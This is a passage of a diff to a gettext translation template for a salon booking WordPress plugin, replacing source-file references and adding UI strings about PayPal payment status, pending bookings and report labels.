build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35\n-msgid \"Search string.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:125\n+msgid \"\"\n+\"Payments, deposits, SMS, advanced calendar, and the full mobile app workflow \"\n+\"— upgrade to a PRO license on our website.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:46\n-msgid \"Services ids.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:759\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:759\n+msgid \"PayPal\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:53\n-msgid \"Customers ids.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:4\n+msgid \"Paypal account informations\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:137\n-msgid \"Hours.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:196\n+msgid \"\"\n+\"PayPal IPN has not been received yet for this booking. PayPal uses a push-\"\n+\"notification system — automatic status refresh is not available. Please \"\n+\"check your PayPal dashboard and update the booking status manually if the \"\n+\"payment was completed.\"\n+msgstr \"\"\n+\n+#. %s: PayPal transaction ID(s)\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:182\n+#, php-format\n+msgid \"PayPal transaction found (%s) and booking is already marked as paid.\"\n+msgstr \"\"\n+\n+#. %s: PayPal transaction ID(s)\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:187\n+#, php-format\n+msgid \"\"\n+\"PayPal transaction ID found (%s) but booking status has not been updated. \"\n+\"Please update the booking status manually.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:192\n-msgid \"Group by.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:240\n+msgid \"Peak Day\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:183\n-msgid \"Include previous period comparison.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:251\n+msgid \"Peak Hour\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:188, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:188, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:188\n-msgid \"Filter by service IDs.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103\n+msgid \"Pending\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:193\n-msgid \"Filter by assistant IDs.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10\n+msgid \"Pending booking number\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:198\n-msgid \"Filter by booking statuses.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:102\n+msgid \"Pending payment\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:886\n-msgid \"Customer doesn't exists.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:255\n+msgid \"Pending payment email\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:903\n-msgid \"Customer email empty.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11\n+msgid \"Pending payment on booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:902, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:915\n-msgid \"Create new customer error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:43\n+msgid \"Per page.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, 